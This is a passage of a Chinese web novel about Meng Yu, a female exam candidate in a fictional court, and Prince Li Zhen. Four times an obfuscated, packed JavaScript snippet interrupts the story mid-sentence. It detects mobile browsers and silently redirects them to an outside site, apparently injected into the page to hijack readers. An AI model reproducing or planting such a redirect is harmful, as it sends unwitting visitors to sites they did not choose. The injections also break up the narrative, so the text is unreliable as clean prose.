“哦,那便罢了,你多去瞧她几次吧。时辰不早了,你早些回去歇着吧,功课切记不要落下,你有时确实懒散的不像话了。”
“是,儿告辞了,阿耶早些安歇。”李桢不再看圣人,转身离去了。
“圣人,要歇了吗?”高忠全见最后一个皇子也走了,进殿来服侍着。
“唔,不是说贵妃今日在梨园排了一日的舞,朕可要趁着兴致好好欣赏。”
圣人丢下奏章,靠向龙椅,一副翘首以盼的样子,彷佛适才牵挂故旧的是另一个人。
片刻后,兴庆殿内已是莺歌燕舞,八音迭奏。
李桢行在出宫回府的夹道上,耳边的夜风簌簌作旋,两侧的朱墙高高耸立,遮住今夜本就黯淡的月光。
四下只是偶有几个内侍经过,见到他的身影便立刻转身避道,安静的彷佛世间独他一人。
他露在外面的皮肤冷的快要发颤,但他似乎已经麻木,仍是步步平稳地往暗夜里走去。
他又想起方才银烛秋光下的对话来。
他的阿娘,十八年的清修苦行里,可从未提过他的这位阿耶,大雍的这位君王。
..........
孟钰一夜好眠,翌日卯正就醒了,天色虽未大亮,但她还是起了身。
纭娘子从前都是跟许沱住在门房上的,离主院甚远。
但到底也是侍郎府邸出来的老人,这会儿却已守在廊下候着了,见到孟钰开门,倒是得心应手地迎了上去。
“家主,要水洗面吗,朝食奴备了馎饦,只等家主和各位郎君起身便可下锅了。”
“那劳烦纭娘子替我打些水来吧,以后叫我沅微便好,不必这般拘礼。”
孟钰一向是和善随意的性子,在扬州时家仆大多也是随祖父唤自己的字,并不讲究那些虚礼。
“诶,奴这就去。”
昨夜光线昏暗,纭娘倒是没认清这个小家主的样貌,这会儿迎着晨光,瞧见孟钰脸上和煦如春风的浅笑,脸蛋还透着晨起的薄粉,一双明眸神光内蕴。
是个娇俏的让人欢喜的小娘子。
“对了,还劳烦纭娘子替郎君们都烧上些热水备着,该是都要起了。”
“诺,不过有两个郎君卯初便起了,这会儿在前堂桌边温书呢。”纭娘边说边转身往前堂去了。
定是苏行霖和袁芩生两个,孟钰心里想着。这批贡士中家境最好和最差的两个,却是最用功的两个。
等孟钰洁面收拾过,到了前堂,果然看见二人在桌边各自捧着书,苏行霖左手还搅着馎饦散热气,袁岑生手边的碗倒是已经空了。
“其他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590878|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人呢,都起了吗?”
“就剩林牧远那小子了,赶了这一路好不容易有方软铺得以安枕,他不得多睡久些。”苏行霖笑着从书中抬起头来回答孟钰。
“你快别取笑他了,赶紧唤他去吧,跟马参军约好了,怎能误事。”
一旁的袁岑生也放下了书,他一向腼腆胆小,这一路也就跟苏行霖和孟钰混了个半熟,担心林牧远真的躲懒误事,忙不迭让苏行霖去看看。
“岑生,你听他胡说,我来的时候看见牧远屋子窗户都开了。”孟钰见他慌张模样,连忙笑着劝解。
袁岑生闹了个脸红,话也不应了,复又捧起书来看。孟钰知道袁岑生性子开不起玩笑,朝苏行霖送去一记眼风,坐下吃起她的那份馎饦。
“那个,沅微,我昨夜想了一下,我能继续住在你家里吗,日常生计我自要出给你的,只是长安住宿实在是贵,庙宇里头人又太多,我怕我静不下心好好温习,等我来年登科入仕了,一定另备重礼谢你。”
袁岑生说完这番话,脸色像是更红了,眼睛也不敢看向孟钰。
这时,又有其余几个贡士,陆续从房内出来,互相作揖招呼往前堂过来,一路说说笑笑,更显此处静谧无声。
孟钰看他局促模样,心里微叹。天下寒门士子,谁不是这般在京中举步维艰?她既居于此,便愿给同路人留一盏灯、一席地。
“无妨,我原先提出第一夜让你们来家中借宿时便想过如此,大家都不是甚么世家大族的出身,何况登不登科明年揭榜后都是要返回原籍的,自然能省一些便省一些,也好专心读书。等从皇城回来,我让纭娘子算算每日吃食浆洗花销,你看这样可好?”
袁岑生缓缓抬起头来,满脸的过意不去,但嘴上却是轻轻地嗯了一声,朝孟钰起身作揖,“那便谢过沅微恩情了。”
苏行霖在旁边看了半晌,这才起身扶住了他,“你不必如此,我可是出发前就跟沅微说好住下的,你就当是借我的光好了。”
袁岑生这才面色缓和了些,不再一副坐立难安的模样。
“沅微,我们几人商量过了,你这里也不是太宽敞,只有门房夫妇二人,怕是照顾不过来,我们今日从皇城出来便自己去寻房子赁下,你就不必操心我们了,日后常来往便是。”
“是啊,沅微,我也要去寻一个友人,他住西南边,我今日可慢慢去寻他,从皇城出来我也便告辞了,有缘再相见。”
其余各人进来时恰巧听见他们在商量日后去处,就趁机一起行辞作罢。
只有行在最后的林牧远甚是兴高采烈,“你们都走啊,那正好,我便留下吧,我这个人好养活,而且我还得向沅微请教呢,离了她我怕是无缘上榜了。”
众人知道林牧远最是个洒脱不羁的混不吝,明明也是官吏出身的郎君,却活得像个侠客,并不与他计较,只是又互相赠言一番。
挥手自兹去,萧萧班马鸣。
不知下次再相见,彼此哪个还是白衣迢迢哪个又是绯袍加身。
5. 第五章
几人匆匆用过馎饦,将解状、文解、家状等一应文书仔细收进囊中,相携出了门。
坊内已渐有行人往来,持筹的胥吏、赶早市的商贩、采买的仆从,各自匆匆,将大雍京城的晨晓,踏得烟火气十足。
马焯已在南坊门等候,见几人准时抵达,脸上露出几分赞许。
“今日去尚书省户部登记入册,验明身份,诸位务必谨言慎行,莫要失了礼数,更莫要遗漏文书。”
众人齐齐应诺,随马焯往皇城方向行去。
本朝圣人并不日日临朝听政,约是三日一朝,但是文武官员仍要入皇城上值,紫衣朱袍交相映带,常有唱礼声响起,森严有序。
宦官执鞭往来,禁军持戈而立,宫墙巍峨,檐角齐天,一派肃穆气象。
一路无言,几人随马焯从安上门入皇城,沿着承天门街北行,不多时便至尚书省。
尚书省内官吏往来不绝,案牍堆叠,文书流转,一派忙碌。
户部在尚书省都堂东侧,院内已候着数位别府来的贡士,皆敛声静气,等候点名核验。
马焯上前与户部胥吏交涉,递上扬州府解送文书与众人名帖,转身吩咐道:“你们在此处一一受验,我先进去送计簿,好了便出来再领你们出宫,切记不要任意走动。”
几人应是。
那胥吏翻了几页,目光在孟钰身上略一停顿。
“孟钰,扬州府贡生,年二十?”
“是。”孟钰垂首应声,不卑不亢。
胥吏未再多言,逐一核验完毕,登册入档。
“你等身份集阅完毕,可回去等礼部告示了。”
“谢吏君。”众人一同行礼后避让至一侧。
等候间隙,只见一行官员从衙门正堂匆匆而出,领头的一个穿着深绯官袍,腰束金带、配银鱼袋。
紧随其后的是个稍浅绯色的,再之后便是三两个青绿身影,几人皆是面沉如水。
“裴侍郎这一早上的是去哪里,不是说今日还要议北疆军资吗?”胥吏一边翻看文书,一边对着身边的同僚悄声道。
“东宫的通事舍人一早便来候着宣令了,你一直在案台收拾,怕是没瞧见,我只隐约听见薪炭之类的字眼,几位明公脸色都不好看呢。”
另一个胥吏朝堂内撇去,低声细语道。
二人对视了一眼,收了声,继续做着核验之事。
孟钰见此,心中悄然记下一事。
马焯诸事办妥,便领几人退出尚书省。
“手续已毕,此后只安心温书备考便是。长安不比州县,凡事谨慎,少生是非。我与州官们在扬州遥候诸位佳音。”
众人谢过马焯,各自道别。
马焯尚有公务在身,先行离去,另行安排的几人也纷纷散去,余下孟钰、苏行霖、袁芩生、林牧远四人,一同缓步返回崇仁坊。
路上袁芩生依旧有些局促,低声道:“原以为尚书省威严难近,今日一见,倒也按章办事,只是……气氛实在紧张。”
苏行霖笑道:“天下士子同场角逐,一榜定前程,自然不敢轻慢。”
林牧远东张西望,兴致不减:“长安当真繁华,这般走一趟,便是考不上,也算不虚此行。”
孟钰只淡淡听着,偶尔应声。
她离翻云覆雨的朝堂已是如此近了。
放眼望去,御街之上一派喧嚷气象,朱轮华毂往来不绝,与入夜后的长安又是迥然不同。
商旅行担络绎于途,胡商牵驼而过,驼铃叮咚,声传数步。
东西两市尚未开尽,街侧酒肆茶坊已飘出麦香与茶汤之气,胡姬挽袖当垆,士子驻足闲谈,杂耍艺人就地开圈,喝彩声此起彼伏。
车水马龙,衣冠如云,楼阁连绵,瓦舍参差。
这便是天下人向往的长安,白日里看不尽的风流,眼底收不完的盛景。
回到退思居,日头已升至半空。许翁开了门,见几人顺利归来,脸上露出安稳笑意。
孟钰与三人略作交代,独自步入主院书房。
她关上门,走到墙边支起一扇窗扉,今日天气极好,日光照得秋风都有了一丝暖意。
她瞧见纭娘往廊下而来,便招她进屋。
纭娘行了礼,提着灌了热汤的茶釜为孟钰倒上。
“奴是想来问问,一切布置可妥当,奴是瞧见你的书信算着日子,前日铺上床衾的,也不知你睡不睡得惯,主院里还要不要添置些器具。”
孟钰接过茶碗,吹了吹,握在手中并不入口。
“一切都好,暂时没什么可添置的。唤你来是想与你说,我来长安便是要登科入仕的,一时半刻不会离去。如今四处常有侵占田地的案子,如此山高水远,扬州的田产我知将来难守住,来前分了些给扬州的几个老仆,余下的也变卖了,只留了一个祖宅,因此以后这一年两载的,怕是要辛苦纭娘子多上下打点了。”
孟钰说完又起身摸出包裹里的一个不起眼的绸布包,打开后里面赫然是两块金饼、三块银饼和一张飞钱券,她拿出了一块银饼递给纭娘。
纭娘连忙摆手不接,“沅微,你这说的是哪里的话,家主从前年年就多寄好些佣钱来,奴与老许都留着呢,先用那些钱就够了。”
“从前那些钱本就全是给你们的,你们独自在京中守住这个院子也是不易,我既来了,怎好用你们的。”
孟钰见纭娘执意不收,只得直接将银饼塞进她掌心。
“何况外头还有三个要你们操心呢,马上入冬了,连炭木今冬都要多备许多,冬衣也要劳你替我置办,你若再推拒,我可便不高兴了。”
孟钰假意转过身去不再理睬,纭娘只得连声应好。
孟钰这才笑着回过头来,“对了,我今日出去留心了一下,算算一人一日若是节省些二三十文便够了,想再多食些瓜果荤腥大概五十文也够了。他们三个若是问起每日花销,你便如实说吧。倘或他们拖欠着,你也不要置喙,私下告诉我便罢,银钱不够就来找我。还有以后主院东侧你们不用收拾,我自己会顾好的。时辰也差不多了,你去备饭吧,早上走了这一趟,我已是饿了。”
说着孟钰双手捂上肚子揉揉,扮起苦脸撒娇道。
“好,奴这就去,好了来唤你。”纭娘顺势拍了拍她的手,蔼然可亲地瞧着她。
待纭娘走后,孟钰将包裹收进书架下的一方柜子里,起身时又看了眼架子上的那方小匣子,转身坐回至案前,捧起了还未看完的书册
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590879|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
窗外草木微动,屋内笔墨安静。
..........
弘文馆内,皇子和伴读们已上了半日的早课,此刻各自习着字。侍书官行走在中间,偶有几声指点的言语。
熬到了午时,今日的课业便算是完成了,众人陆续起身走去廊下用膳。
“昨日几时回城的,你们一日不在,我无趣得很。”
说话的是宋玘,宋素臣,他父亲是申平郡王,兼任朔方陇右两地节度使,亦是李桢的舅舅,宋轲。说话间撑了撑筋骨,规矩坐了半日只觉浑身筋骨都僵了。
“坊门快关的时候才入城的,在春明门外堵了一阵子。”李桢仍是神色自若的模样。
两个人慢条斯理地走在人群最后面。
“春明门堵了?哦也对,十月了,举子们都涌入长安了。今年各地真是卧虎藏龙,我还听说江南一带出了个女解元,写的什么文章来着,什么田不田的。昨日你不在,我听见几个侍读聚在一起谈论呢,可惜我没有官职在身,不然我倒想替她公荐。”
李桢对他瞥去一眼,并未应他这句话,“清屹温书温得怎样了,他春日也要科考了。”
“他是能享福的,天天在家烧着炭火,暖意融融,只是别犯困才好。”宋玘说着没忍住笑出了声,引得前面几个人回头纳闷地觑了他一眼。
李桢等他们转过去才幽幽出声,“那要辛苦他一直把这火烧到开春后了,只是别在贡院不适应受寒了,他可是真心上进的。”
“自然,等东宫那边有了定论,让他慢慢减些用量。”
说着,二人到了廊下,从供膳手中取过膳食,按礼入座。廊下之间,除了时有风声掠过,再无半点声响。
用过这顿廊下食,众人才终得自在,相携回了殿内。
“五弟,今日散了学你我二人再去骑射殿练试一场如何?”安王站在殿门口像是专门等着李桢的。
“三哥可饶了我吧,我今日能不告假已是做了天大的努力了,只怕是连马都上不去了。”李桢连忙摆手后退。
“怎么,昨日三哥还未尽兴吗,可惜惠妃病了,我没去成,不然今日我陪三哥去吧。”四殿下舒王李樾在一旁按耐不住。
“你何时对骑射起兴了,你不是一向不爱这些灰头土脸的事吗?”安王并不理茬。
“是弟弟听说东宫一大早便带着人去查什么薪炭的事了,你们就不好奇吗,不如多留些时辰,瞧瞧东宫今日有进展否。”
舒王抱臂挨在一侧墙上,脸上皆是轻蔑。
“四哥,东宫有无进展又如何,左右这样的差事也落不到你头上去。”七皇子赵王李柍手插着腰,对舒王的自以为是一向嗤之以鼻。
“四哥七弟,你们快打住,昨日阿耶就不甚高兴的样子,把我都吓住了,四哥你可别再触这件事的霉头。”
永王一听见舒王提起薪炭二字,又想起昨夜圣人那含怒不发的表情来,已是心惊胆战。
“你怕什么,瞧你这胆子。”舒王斜了眼赵王哧地一声,踱回书案前坐下。
赵王仿若不在意,只是脸上的讥笑更深了些。
安王拍了拍永王拉着一道走了,余下李桢和宋玘亦是不疾不徐地回了坐席。
6. 第六章
又过几日,四人大多各自在房内,不是温书便是准备行卷,好尽快寻得一方达官贵人替自己公荐。
这天用过午膳,崇仁坊的日头正好,暖融融洒在退思居的庭院里。
孟钰本想在案前静坐温书,可苏行霖与林牧远一道来寻,说是城南文苑今日有雅集,不少京中士子都会前去,亦有些文官名流和皇室宗亲,于科举大有裨益。
袁芩生本有些怯于应酬,可经不住几人劝说,也抱着书匣一同前往。
孟钰略一思忖便应了。她初到长安,若想在京城立足,光靠闭门读书远远不够。
何况她要寻的人、要做的事,都在这士林往来之中。
纭娘早已备好了帷帽,孟钰薄施了些脂粉后戴上,略遮容颜。
四人一道出了崇仁坊,往城南文苑而去。
白日里的长安愈发热闹。
御街上车马如龙,东西两市开市已久,绸缎庄、瓷器铺、香料阁、书肆笔庄挨挨挤挤,各处叫卖声、算盘声揉在一处,满眼都是人间烟火。
林牧远一路啧啧称奇,不时驻足观望;苏行霖沉稳有度,只淡淡扫过市面;袁芩生垂首而行,生怕冲撞了贵人。
唯有孟钰,目光平静,却将周遭一切尽收眼底。
途经炭肆时,只见肆门紧闭,孟钰忽然驻足,又抬眼望向门外高悬的价牌。
她没说话,只静静看了片刻,便以指尖在袖中轻轻默算。
林牧远随口笑道:“沅微看这个做什么,采买不是有纭娘子吗。”
孟钰坦然应声:“看看市价。”
她没有多解释,却一路又留意了三家炭铺、两处柴木行,竟都在未闭市的时辰关了门。
旁人只当她好奇,唯有她自己清楚:十月未寒、炭价先涨、店铺闭门,皆非常理。
她又想起那日在户部的情形,便猜是京中有人将手伸进了薪炭牟利。也不知这个案子查到什么境地了,她只能先将种种暗中记下。
不过小半个时辰,四人已至城南文苑。
此处是长安士子常聚之地,庭院开阔,竹影婆娑,正中设着几张长案,摆着笔墨纸砚,四周石桌石凳错落。
已有二三十位士子在座,或高谈阔论,或静坐观文,或切磋诗赋,一派文雅之气。
有人见孟钰一行是生面孔,不免多投来几眼,却也不唐突。
苏行霖显然是做过功课的,引着几人寻了处僻静石凳坐下,低声道:“今日雅集多是来年应试的士子,也有几位秘书省、国子监、翰林院的先辈,咱们只听只看,少言多学便是。”
孟钰微微颔首,目光轻扫全场。
士子们谈论的多是经义、诗赋、时务,偶有几句触及国计民生,譬如赋税不均、关中粮价、边地军耗、京官冗员等等。
孟钰皆静静听着,偶尔垂眸思索。
她自幼随祖父读书,常听他提及民生多艰,又亲历扬州水灾,看惯了民间疾苦,心中早有一番感悟。
只是此刻不宜显露,只藏在心底。
“在下越州府赵临江,不知阁下几位是哪个州府的。”
忽有一人起身,身着浅青襕衫,眉目清朗,对着孟钰几人一揖。
孟钰微微一怔,随即起身回礼,声音清和:“在下孟沅微,扬州人士。”
“你便是孟沅微,孟钰?早就听闻今年扬州府出了一位女士子,州试文章直指时弊,论及赋税与均田之弊,见解犀利,今日终于得以一见。”
一语落地,周遭顿时静了几分。
众人没想到传闻中的女士子竟真的在此,且容貌清丽、气度沉静,全无半分骄矜之态,一时间纷纷侧目。
林牧远低声咋舌道:“沅微,你在京中都有名气了?”
孟钰只淡淡一笑,“兄台谬赞了。“
就在此时,院外忽然传来一阵轻微的骚动声。
一名戴着帷帽身着石榴红大袖儒裙的女子缓步而入,腰间金玉垂佩随步叮咚作响。
身后随着几名身着锦袍的贵公子,身姿挺拔,气度不凡,一看便知是宗室子弟。
几个在朝为官的文儒立即行拜礼,“见过含章长公主,见过舒王殿下、晋王殿下、赵王殿下、济王殿下。”
引得众人连忙纷纷起身。
“哎呀,不必拘礼了,本宫闲来无事,听说南苑有雅集,正好今日弘文馆又逢休沐,本宫与圣人一道请了旨,带着几个殿下同来观摩,你们该辩经论赋的都照常,不必理会我等。”
说着,公主就领着几个皇子去了上座。
众人应是,又转身回了坐席。
孟钰坐得远了些,略微抬眼朝上望去,见到公主左手边为首一人身着绀青锦袍,腰系玉带,玉簪束发,面容清俊,眉眼间带着几分漫不经心的疏懒,步履从容。
正是五皇子,李桢。
孟钰的心,猛地一跳。
是他。
她指尖微紧,垂在袖中,微微低下头,掩去眸中一瞬的波澜。
不敢多看,只装作寻常士子,静静坐在一角。
李桢目光淡淡扫过全场,似是无意,在孟钰身上轻轻一顿,只一眼便移开。
公主见众人很受拘束,雅集已无自己来前的高谈阔论之象,便寻向自己识得的一位翰林院学士。
“朱学士,本宫方才进来时好似听见有人在说什么女士子,不知是哪一位,可在场?”语气温和,毫无长公主的架子。
那位翰林学士闻言,起身走到孟钰席旁,伸手虚扶起她,又转向上座回道:“回长公主,正是这位,今秋扬州解元。”孟钰已是心悬半空,却还是故作坦然随学士弯腰作揖。
“扬州府孟钰,孟沅微,见过长公主,各位殿下。”
李桢端起侍从奉上茶来。他指尖轻叩桌面,看似漫不经心听着众人谈论,目光却掠过孟钰的方向,眸色深不见底。
扬州府,孟钰,姓孟。他不禁微微捏紧盏壁。
含章公主将孟钰从头到脚打量了一遍,连连点头,已是赞不绝口。
“孟小娘子果真是才貌双全,风华绝代,你倒是让本宫想起从前女皇在世时重用的那个女相了,亦是你这般的钟灵毓秀。不知家尊可在朝内为官?”
“回公主,家父走得早,去前只是扬州的司户参军。不过沅微祖父曾是天元三年之前任户部右侍郎的孟如深。”
孟钰递去户部的家状上早已列明三代姓名和官职,将来这件事是瞒无可瞒的,如今贵人坐堂相问,万无藏掖的道理。
何况她也想让座上的那位知道,她已入了长安,离入仕只剩一步之遥,她没有推拒他的善意,亦没有辜负他的期待。
孟钰话音刚落,堂内已漏出几丝吸气声,尤其是那几位上了年纪的儒臣,竟开始激动着互相咬耳了。
原来真是她,李桢内心定论过后反倒恢复平静,靠上椅背,品起了手中的茶水。
正如当初那位县令说的,她果真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590880|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是小小扬子县的一粒沧海遗珠。
孟如深尚在京中时他年岁虽小,但他是敬仰孟如深才识的,可惜未及他长大,孟如深已致仕离京,再听闻消息却是死讯,他内心满觉遗憾。
县令提及那个天资聪颖的女娘时,他先觉悲戚可惜,思虑过后,却又心生希冀。
谁知她不会青出于蓝而胜于蓝呢,自己不妨做那个托举她的人,至少让她把该走的路走下去,明珠不被蒙尘是他唯一所求。
于是他让身边亲信连夜去了刺史府,幸好扬州刺史与阿舅是旧识,不然自己还得多谋划几转。
毕竟救灾的差事,是在护送完蕃使返京途中,向圣人悄悄求来的,不能让她与自己扯上关系。
于是也转头叮嘱县令一番,绝不可让第三人知晓,连她都不可以。
等刺史回信后,他摘下一枚玉佩以作信物便离开,未见一面未留一言,只当此间之事从未发生。
只是没想到,她会以这般沉静笃定的模样,出现在他眼前。
不过,她定是不认识自己的。
“孟侍郎,本宫有印象,皇兄初登宝座时很多财税之事皆是仰仗他来办的。真是家学渊源,孟侍郎政绩卓越,你以解元之身,应试进士科,真是我大雍之幸。你今日可随身带着行卷吗?”
满堂举子听闻此言已是艳羡至极,恨不得也站起身自报家门,只求得贵人赏识举荐。
“回公主,带了。”孟钰回身拿起行卷,朝高座走去。
一步一步,离高座,离那人越来越近。她彷佛觉得周遭已空,只剩那一人还在此处。
终于经过他的身侧,似闻得一阵松柏之息,并不浓烈,清冽沉稳,就像他一向淡泊的模样,和光同尘,落落寡合。
高座之间紧邻,她的裙摆一瞬从他的袍角拂过,心跳已经停了,可是步伐却要竭力稳住。
李桢亦看见那裙摆似碧筠拂风般向自己掠来,立时撇过眼,将视线上移在她身上。
就像在座的其他人一样。
她穿着一身颜色跳脱的儒裙,绯色的襦衣配着墨绿绫裙,梳着单髻的黑发上插两支细头簪。
脸上略施粉脂,脸颊与耳后脖颈是一样的莹白,口脂也是淡淡的,却更显得不点而朱,是与如今长安城中的时兴妆全然不同的打扮。
李桢又往上看去,她那双眸子,灿若星辰,慧黠灵动。
隔了六年,他方知晓她的模样。
他很快回过神来,却已被身旁的李柯察觉。李桢迎向他探究的视线,只装不知。
孟钰走至含章公主身旁,躬身双手奉上自己的行卷。
公主展开阅览几行,“好!真当女中豪杰,本宫收下了,预祝你明春独占鳌头,蟾宫折桂。”
说着又将卷轴递给几个皇子传阅。几人有仔细审读后夸赞的,也有略瞄几眼就传走的,孟钰并不在意。
李桢接过看着那篇字,只见字迹清劲有力,不似女子纤柔,反倒有一股刚正风骨。
他极快地看过几行,文采虽非花团锦簇,却见条理间字字珠玑。
指尖微顿,眸底掠过一丝极淡的赞许,快得无人察觉。说了句“甚好”后起身将卷轴递还给含章,坐下端起茶盏,轻轻抿了一口。
茶雾氤氲,遮住了他眼底所有思绪。
她知道他在看她。
可她不能上前,不能相认,不能表露半分。
孟钰转身,在满院寂静中回座,心仍在微微轻跳。
7. 第七章
之后,含章长公主又经人引见了几个举子,行卷收了两三册便罢,皇子们在旁只略做评点。
一个时辰后,一行人浩浩汤汤离去,众人起身行礼。
日影渐斜,文苑雅集渐散。
孟钰却仍是怔怔,想起方才的经过,只盼自己未曾有不周到之处。
想到自己竟如此轻而易举地得到公荐,尤似在梦中一般。
忽而又忆起自己挨近他的那一刹,更是心波微漾。
苏行霖几人未曾察觉异样,只催着:“沅微,天快晚了,咱们也回吧,宵禁将近。”
孟钰轻轻点头,跟着众人转身离去。
晚风拂过文苑竹林,沙沙作响。
她抬头望向长安落日,霞光漫天。
..........
回程时含章长公主坐辇,其余四人各自勒马慢行跟在后面。沿路闹市人声鼎沸,李桢和李柯二人并骑一排。
“你方才在堂上是怎么了,还好当时都在看那个孟士子,不然定要被老四发现端倪了,难不成你识得她?”
刚出南苑没多远,李柯就忍不住问道。
“没什么,只是前些日子在弘文馆就听说过她的事,有些好奇罢了。”
旁人听了这话或许还能信几分,可李柯最是知道他这五哥的面冷心热,如今面上都险些失控了,内里恐怕早就心猿意马。
所以他全然不信,正欲追问,却已被李桢出声打断。
“东宫最近是何动静。”李桢作出打量街边货摊的模样,悄声问着。
李柯见他如此欲盖弥彰,便知实情必然比他能想象到的更加盘根错节。
不过现下也不急,那位孟举子既得了长公主青眼,文章他也仔细阅过,登科于她来说近乎已成定局,何愁将来没有相交的机会。
便按下不提,陪李桢演着。
“我听闻京中炭柴铺子封了不少,今日是十月廿八,过不了几日百姓定要开始采买囤积,东宫撑不了太久了。”
李柯伸手指向一间酒楼,李桢看过去,两人彷佛真是在看沿街风景。
“东宫难不成真想一举扳倒杨弋铨,他不查到杨弋铨头上,便一直断着供应吗。上次终南山打猎,我已让风遥趁机去探过那些土窑了,不行就把那些炭翁送到太子面前,正好他们也需借此得些补偿。折下几个臂膀便罢了,户部的京兆府的,至少今冬够他消停一些了。”
李桢将目光收回,定定投向前方,见舒王和赵王不知何时又起了争执。
“是,不能拖过这个月了,天子脚下倘若都不能安稳过冬,这像什么话。”
李柯说完这句,驭马快走了几步,行至舒王赵王身边。
“二位兄长说什么呢,这么热闹,五哥无趣的很,我与他说新开了什么酒楼,他竟说只想赶紧归府歇息,真是无趣得很。”
舒王回身看了眼李桢,“你呀,跟他说这些有什么用,要不是姑母与淑妃娘子从前闺中私交,在娘子离宫后总是照顾他,今日但凡换个人相邀,你看他出不出门。我与老七说起方才几个女举子呢,尤其是头一个,你说她装得不卑不亢的样子,姑母一问行卷她就立马递上来了,可惜她祖父那般独善其身了,她却是个上赶着追名逐利的。”
“四哥,低声些,小心叫姑母听见了。让她知道你这样编排她中意的人,她去圣人面前告你一状就冤了。”李祯在后面冷言出声提醒道。
“五哥,你可别管他,他对谁不是这般瞧不顺眼。”赵王在一旁讥讽着。
不过舒王这回倒没再出言反驳,他知道长公主在圣人那头确实有些脸面的,尤其是举荐的人也大多能顺利入仕。
“唉,不提了,不过八弟啊,前些日子我得了两坛好酒,今日过我府上,咱们痛饮一番如何,睡醒了明日一起去弘文馆。”
“四哥真是偏心呢,只喊八弟,也不顾我和五哥。”赵王幽幽出声。
“七弟哪里看得上我的酒呢,恐怕今日喝了我的酒,明日就要去圣人面前告我一状了。至于五弟,他一个木头人哪里懂品酒。”
舒王边说边又回身撇了眼李桢。
“四哥说的是,我是没口福的,你们自去吧,我送姑母回府便是了。”李桢依旧是面色沉静。
“也罢,你与姑母住得近,我去与姑母说一声便告辞了,走吧八弟。”
“五哥,我也先走了,我得赶紧回去温书,明日侍讲要考我呢。”赵王与李桢作别。
三人同含章长公主告罪道别后,舒王济王二人一道继续往东去了,赵王独自往了北。
李桢见他们走了,便一个人骑到了长公主座驾边。
“聿瞻,你说本宫今日选的这几个人如何?”含章撩开帘子,认真凝视着李桢。
李桢闻言自嘲一笑,“姑母知道我的,我向来对这些文赋不精,看不出个高低来。”
“别人不知道你,本宫又如何不知道。罢了,你最好能装上一辈子的糊涂!”
含章像是十分恼怒,摔着帘子就合上了,二人直到公主府前分别也未再说上半句话。
..........
自城南文苑归家后,孟钰依旧闭门温书。长公主既已收下行卷,她便不必如其他士子般四处奔走,反倒有时间梳理京中民生细碎。
这日午后,许翁轻叩书房门,语气持稳,“家主,永兴坊裴府遣人送来名帖,裴公请您过府一叙,从前他与家主是有旧的。”
孟钰接过名帖,指尖微顿。裴敬中,现任户部侍郎。她虽未亲识,却记起那日在户部,胥吏说的那位过司会案的大人便是裴侍郎。
“备马。”她轻声道。
永兴坊裴府庭院清简,草木扶疏,全无显贵排场。小厮引孟钰入内,直至一处花厅。
厅中却坐着两人。
一人中年模样,身着素色暗纹圆领常服,面容温厚,正是在尚书省见过的裴敬中。
另一人须发灰白,神态清和,着一身浅灰布袍,看似寻常老者,眼底却藏着沉定气象。
孟钰不知老者身份,只依士子之礼,敛衽一揖,“晚生孟钰,见过裴公。”
裴敬中连忙起身扶她,语气真切,“不必多礼。我与你祖父孟公,乃是旧识,从前受他指点提携多年。你是孟公后人,在我这里,无须见外。”
他侧过身,引她见身旁老者,“这位是当朝太傅,崔恒崔公。崔公今日恰在我这里闲谈,听闻你来了,特意一见。”
孟钰心头微震,连忙重新见礼,“晚生孟钰,见过太傅。方才不识尊长,失礼之过,望太傅海涵。”
崔太傅微微抬手,语气平和。
“无妨,坐吧。老夫今日见你,不为朝堂之事,只听裴公说,你是孟如深的女孙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590881|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又在州试中以文章论赋税、均田,颇有见地,故想问你几句话。”
孟钰依言落座,垂眸静待。
“天下士子应举,各有所图。或为功名,或为门楣,或为施展抱负。”
太傅目光温和,却字字直指本心,“你以女子之身,不远千里入京赴考,所求者,究竟是什么?”
花厅一时寂静。
孟钰抬起眼,目光清澈笃定,不见半分虚饰。
